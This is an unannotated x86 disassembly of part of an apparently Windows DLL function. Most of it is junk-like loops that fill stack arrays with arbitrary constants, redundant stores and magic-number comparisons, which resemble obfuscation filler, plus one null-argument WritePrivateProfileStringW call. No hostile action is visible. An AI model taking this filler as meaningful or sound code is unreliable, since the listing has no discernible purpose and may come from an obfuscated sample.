mov dword [ebp - 0x44], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002fab4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x174], 0x9ac70c30
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002fa9c
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002fad4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x810], 0x7e3b6f9b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002fabc
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jg 0x1002fbe8
mov dword [ebp - 0x10], eax
jmp 0x1002faf6
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe20], 0x3718bd85
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002fae5
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x174], 0
jne 0x1002fbe6
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002fbbe
dec dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x810]
sub eax, dword [ebp - 0x3c]
mov dword [ebp - 0x810], eax
mov eax, dword [ebp - 0x8f4]
mov dword [ebp - 0x38], esi
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x174]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setne dl
add edx, 0xca6d183d
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 0x68da
setne al
xor ecx, ecx
mov dword [ebp - 0xe1c], eax
mov eax, dword [ebp - 0x8f8]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x174]
cmp eax, esi
sete cl
xor eax, eax
sub ecx, 4
je 0x1002fb8f
mov ecx, esi
cmp dword [ebp - 0x174], eax
jne 0x1002fb91
mov ecx, eax
mov eax, dword [ebp - 0x8f0]
add eax, ecx
cmp eax, esi
mov eax, dword [ebp - 0x14]
sbb edx, edx
xor ecx, ecx
neg edx
mov eax, dword [ebp + eax*4 - 0x174]
cmp eax, edx
setle cl
cmp ecx, dword [ebp - 0x174]
jge 0x1002fbbc
mov edx, esi
jmp 0x1002fbc0
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x14]
push 0
mov ecx, dword [ebp + eax*4 - 0x174]
lea eax, [edx + 1]
xor edx, edx
cmp eax, ecx
pop eax
setle dl
mov dword [ebp - 0x44], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x1002fae0
xor eax, eax
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xfffffff8
jle 0x1002fa80
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002fc15
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc34], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002fbfd
xor eax, eax
mov dword [ebp - 0x3c], eax
push 0xfffffffffffffff9
pop ecx
mov dword [ebp - 0x98c], ecx
mov dword [ebp - 0x988], ecx
mov dword [ebp - 0x984], ecx
mov dword [ebp - 0x980], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xfffffffb
cmp dword [ebp - 0x3c], 0xffffffec
jne 0x1002fdfe
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x1f6f49c2
mov dword [ebp - 0x2c], 0xfffffffc
mov dword [ebp - 0x28], eax
jmp 0x1002fde4
mov dword [ebp - 0x14], 0x4c405b40
mov dword [ebp - 0x14], eax
jmp 0x1002fdd7
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002fc95
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x430], 0xfffffffe
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002fc7d
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002fcb5
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x11cc], 0xfffffffd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002fc9d
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002fcca
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
xor eax, eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], ebx
jg 0x1002fdd4
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x44], 0xfae0
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jg 0x1002fd55
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x98c], 0
je 0x1002fd17
mov dword [ebp - 0x44], esi
xor edx, edx
imul ecx, dword [ebp - 0x44], 0xfffffffd
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setle dl
xor eax, eax
mov dword [ebp - 0x44], edx
jmp 0x1002fd46
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002fd3b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd9c], 0xb5af
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002fd22
xor eax, eax
dec dword [ebp - 0xd9c]
cmp dword [ebp - 0x14], eax
jne 0x1002fd4b
cmp dword [ebp - 0x38], eax
jne 0x1002fd53
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jle 0x1002fcf2
xor eax, eax
cmp dword [ebp - 0x42c], eax
jne 0x1002fd64
cmp dword [ebp - 0x14], eax
je 0x1002fd66
jg 0x1002fd66
mov eax, esi
imul eax, eax, 0x5f58
xor ecx, ecx
push 0
add eax, dword [ebp - 0x34]
cmp eax, 0xfff6
setne cl
xor eax, eax
cmp ecx, 0xfffffff8
setle al
or ecx, 0xffffffff
cmp ecx, eax
sbb eax, eax
xor edx, edx
inc eax
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x42c]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setge dl
mov dword [ebp - 0x2c], edx
xor edx, edx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setl dl
xor ecx, ecx
cmp edx, eax
pop eax
setl cl
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x44], ecx
inc dword [ebp - 0x42c]
cmp dword [ebp - 0x42c], ebx
jle 0x1002fcdc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xf
je 0x1002fc75
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff8
je 0x1002fc66
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xffffffec
je 0x1002fc4d
or ecx, 0xffffffff
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002fe1e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb98], 0x28f6c74a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002fe06
xor eax, eax
inc dword [ebp - 0x54]
mov dword [ebp - 0x40], 0xda115252
push 4
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jge 0x1002fe4b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xaec], 0xfffffffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002fe33
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002fe67
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe38], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002fe53
xor eax, eax
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], ebx
jg 0x1002fffa
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x2c], 0xfffffffb
mov dword [ebp - 0x30], 0xc4779d44
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002fea7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd4c], 0xfcc8af95
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002fe8f
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jg 0x1002ffd9
jmp 0x1002feb7
xor eax, eax
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x30], 0xfffffffb
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x30], 0xfffffff8
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x10], eax
jmp 0x1002fef3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf78], 0x7221ebc5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002fee2
mov eax, dword [ebp - 0xaec]
xor ecx, ecx
mov dword [ebp - 0xe34], ebx
mov eax, dword [ebp - 0x3c]
cmp eax, 0xba7b7e83
mov eax, dword [ebp - 0x14]
setg cl
sub eax, ecx
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + eax*4 - 0xaec]
sub edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0x5f27
setl al
mov dword [ebp - 0xae0], eax
xor eax, eax
mov dword [ebp - 0x3c], eax
or ecx, 0xffffffff
cmp dword [ebp - 0x3c], ebx
jg 0x1002ffcd
mov dword [ebp - 0x30], 0xb09b37d0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0x2f4e55b6
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], 0x7aebb1bb
mov dword [ebp - 0x30], 0xd3709e8e
mov dword [ebp - 0x30], 0xe183a099
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002ffa2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf88], 0x705618d7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002ff8a
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002ffc2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc44], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002ffaa
xor eax, eax
inc dword [ebp - 0xc3c]
inc dword [ebp - 0x3c]
jmp 0x1002ff51
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x1002feb5
mov eax, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0xaec], 0
jne 0x1002fff5
inc dword [ebp - 0x40]
push 0
pop eax
cmp dword [ebp - 0x40], ebx
jle 0x1002fe76
push 4
xor eax, eax
pop edx
mov dword [ebp - 0x40], 0xda115252
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x10030021
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x9ac], 0xfffffffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10030009
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1003003d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe50], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030029
xor eax, eax
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], ebx
jg 0x100301d0
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x2c], 0xfffffffb
mov dword [ebp - 0x30], 0xc4779d44
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1003007d
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb94], 0xfcc8af95
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10030065
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jg 0x100301af
jmp 0x1003008d
xor eax, eax
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x30], 0xfffffffb
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x30], 0xfffffff8
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x10], eax
jmp 0x100300c9
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf98], 0x7221ebc5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x100300b8
mov eax, dword [ebp - 0x9ac]
xor ecx, ecx
mov dword [ebp - 0xe4c], ebx
mov eax, dword [ebp - 0x3c]
cmp eax, 0xba7b7e83
mov eax, dword [ebp - 0x14]
setg cl
sub eax, ecx
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + eax*4 - 0x9ac]
sub edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0x5f27
setl al
mov dword [ebp - 0x9a0], eax
xor eax, eax
mov dword [ebp - 0x3c], eax
or ecx, 0xffffffff
cmp dword [ebp - 0x3c], ebx
jg 0x100301a3
mov dword [ebp - 0x30], 0xb09b37d0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0x2f4e55b6
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], 0x7aebb1bb
mov dword [ebp - 0x30], 0xd3709e8e
mov dword [ebp - 0x30], 0xe183a099
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x10030178
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xfa8], 0x705618d7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10030160
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030198
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc54], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030180
xor eax, eax
inc dword [ebp - 0xc4c]
inc dword [ebp - 0x3c]
jmp 0x10030127
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x1003008b
mov eax, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0x9ac], 0
jne 0x100301cb
inc dword [ebp - 0x40]
push 0
pop eax
cmp dword [ebp - 0x40], ebx
jle 0x1003004c
push 4
xor eax, eax
pop edx
mov dword [ebp - 0x48], 0x666a
mov edi, 0x237ddc4e
mov dword [ebp - 0x4f8], edi
mov dword [ebp - 0x4f4], edi
mov dword [ebp - 0x4f0], edi
mov dword [ebp - 0x4ec], edi
mov dword [ebp - 0x30], 0xb7466640
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], 0xe56b76af
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x48], eax
je 0x10030235
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x48], eax
je 0x10030243
mov ecx, esi
mov eax, dword [ebp - 0x48]
add eax, ecx
xor ecx, ecx
cmp eax, 0x5205300c
mov eax, dword [ebp - 0x48]
setle cl
imul eax, ecx
test eax, eax
je 0x1003028a
xor eax, eax
mov dword [ebp - 0x44], 0x9ebef9f3
mov dword [ebp - 0x10], eax
jmp 0x10030277
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1040], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1003026a
mov eax, dword [ebp - 0x103c]
mov dword [ebp - 0x44], eax
jmp 0x1003043b
mov dword [ebp - 0x30], 0xe27dfdee
xor eax, eax
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x30], 0x795bcd59
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x30], 0x4db59fb1
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100302dc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc64], 0xc77e2192
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100302c4
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x100302f8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc38], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100302e4
xor eax, eax
push 2
mov dword [ebp - 0x48], eax
pop ecx
cmp dword [ebp - 0x48], ecx
jg 0x10030438
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x44], 0x497a847e
mov dword [ebp - 0x3c], 0xfffffffc
cmp dword [ebp - 0x3c], 9
jle 0x10030429
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x10030345
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1c8], 0x2be2ff5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1003032d
xor eax, eax
mov dword [ebp - 0x1bc], eax
jmp 0x100303b6
mov dword [ebp - 0x2c], 0xc710
mov dword [ebp - 0x44], 0xd9132e88
mov eax, dword [ebp - 0x1c8]
cmp eax, dword [ebp - 0x1bc]
jl 0x1003038a
mov eax, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0xc5c]
mov eax, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xc5c]
mov eax, dword [ebp - 0x1bc]
xor edx, edx
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
mov eax, 0xdbb7a2e2
setg dl
sub eax, edx
mov dword [ebp - 0x4f0], edx
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x1bc]
cmp dword [ebp - 0x1bc], 5
jge 0x1003034d
mov eax, dword [ebp - 0x4f0]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp eax, 0xfffffff9
mov eax, dword [ebp - 0x1c4]
setg cl
dec eax
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1bc]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x1c4]
push 0
setge bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x1bc]
setne cl
add eax, 0x6cbc8ca9
add eax, ecx
xor ecx, ecx
cmp eax, 0xfffffff7
pop eax
setg cl
mov dword [ebp - 0x44], ecx
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 9
push 4
pop edx
jg 0x10030322
push 2
pop ecx
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], ecx
jle 0x10030307
push 3
pop ebx
inc dword [ebp - 0x34]
xor eax, eax
cmp dword [ebp - 0x4f0], eax
je 0x100304b5
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x4ec]
sub ecx, eax
mov eax, dword [ebp - 0x38]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, 0x7d4e0d3b
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x34]
jg 0x1003047b
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x4f0], eax
je 0x1003047d
mov ecx, esi
mov eax, dword [ebp - 0x34]
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x38]
add eax, 0xffff
add eax, ecx
imul eax, dword [ebp - 0x34]
neg eax
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setg dl
xor eax, eax
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], eax
je 0x100304b3
mov eax, esi
jmp 0x100304b5
xor eax, eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x40], 0xda115252
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x100304e3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa8c], 0xfffffffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100304ca
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030503
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe68], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100304eb
xor eax, eax
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], ebx
jg 0x1003069c
or edx, 0xffffffff
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x2c], 0xfffffffb
mov dword [ebp - 0x30], 0xc4779d44
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10030546
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb9c], 0xfcc8af95
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003052e
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jg 0x1003067e
push 2
pop ecx
jmp 0x10030559
xor eax, eax
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x30], 0xfffffffb
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x30], 0xfffffff8
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x10], eax
jmp 0x10030595
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xfb8], 0x7221ebc5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10030584
mov eax, dword [ebp - 0xa8c]
xor ecx, ecx
mov dword [ebp - 0xe64], ebx
mov eax, dword [ebp - 0x3c]
cmp eax, 0xba7b7e83
mov eax, dword [ebp - 0x14]
setg cl
sub eax, ecx
neg eax
push 2
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + eax*4 - 0xa8c]
sub edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0x5f27
pop ecx
setl al
mov dword [ebp - 0xa80], eax
xor eax, eax
mov dword [ebp - 0x3c], eax
or edx, 0xffffffff
cmp dword [ebp - 0x3c], ebx
jg 0x10030672
mov dword [ebp - 0x30], 0xb09b37d0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0x2f4e55b6
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x30], 0x7aebb1bb
mov dword [ebp - 0x30], 0xd3709e8e
mov dword [ebp - 0x30], 0xe183a099
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x10030647
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1060], 0x705618d7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003062f
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030667
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc78], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1003064f
xor eax, eax
inc dword [ebp - 0xc70]
inc dword [ebp - 0x3c]
jmp 0x100305f6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10030557
mov eax, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0xa8c], 0
jne 0x1003069a
inc dword [ebp - 0x40]
push 0
pop eax
cmp dword [ebp - 0x40], ebx
jle 0x10030515
xor eax, eax
mov dword [ebp - 0x48], 0x666a
mov dword [ebp - 0x458], edi
mov dword [ebp - 0x454], edi
mov dword [ebp - 0x450], edi
mov dword [ebp - 0x44c], edi
mov dword [ebp - 0x30], 0xb7466640
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], 0xe56b76af
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x48], eax
je 0x100306fc
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x48], eax
je 0x1003070a
mov ecx, esi
mov eax, dword [ebp - 0x48]
add eax, ecx
xor ecx, ecx
cmp eax, 0x5205300c
mov eax, dword [ebp - 0x48]
setle cl
imul eax, ecx
test eax, eax
je 0x10030752
xor eax, eax
mov dword [ebp - 0x44], 0x9ebef9f3
mov dword [ebp - 0x10], eax
jmp 0x1003073e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1058], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10030731
mov eax, dword [ebp - 0x1054]
mov dword [ebp - 0x44], eax
jmp 0x10030909
mov dword [ebp - 0x30], 0xe27dfdee
xor eax, eax
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x30], 0x795bcd59
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x30], 0x4db59fb1
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100307a4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc8c], 0xc77e2192
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1003078c
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x100307c0
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcc8], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100307ac
xor eax, eax
push 2
mov dword [ebp - 0x48], eax
pop ecx
cmp dword [ebp - 0x48], ecx
jg 0x10030906
mov dword [ebp - 0x3c], 4
mov dword [ebp - 0x44], 0x497a847e
mov dword [ebp - 0x3c], 0xfffffffc
cmp dword [ebp - 0x3c], 9
jle 0x100308f7
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10030813
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1d8], 0x2be2ff5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100307fa
xor eax, eax
mov dword [ebp - 0x1cc], eax
jmp 0x10030884
mov dword [ebp - 0x2c], 0xc710
mov dword [ebp - 0x44], 0xd9132e88
mov eax, dword [ebp - 0x1d8]
cmp eax, dword [ebp - 0x1cc]
jl 0x10030858
mov eax, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0xc84]
mov eax, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xc84]
mov eax, dword [ebp - 0x1cc]
xor edx, edx
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
mov eax, 0xdbb7a2e2
setg dl
sub eax, edx
mov dword [ebp - 0x450], edx
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x1cc]
cmp dword [ebp - 0x1cc], 5
jge 0x1003081b
mov eax, dword [ebp - 0x450]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov esi, dword [ebp - 0x1d4]
mov eax, dword [ebp - 0x2c]
dec esi
cmp eax, 0xfffffff9
mov eax, dword [ebp - 0x1cc]
push 0
setg cl
xor edx, edx
cmp ecx, esi
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x1d4]
setge bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x1cc]
setne cl
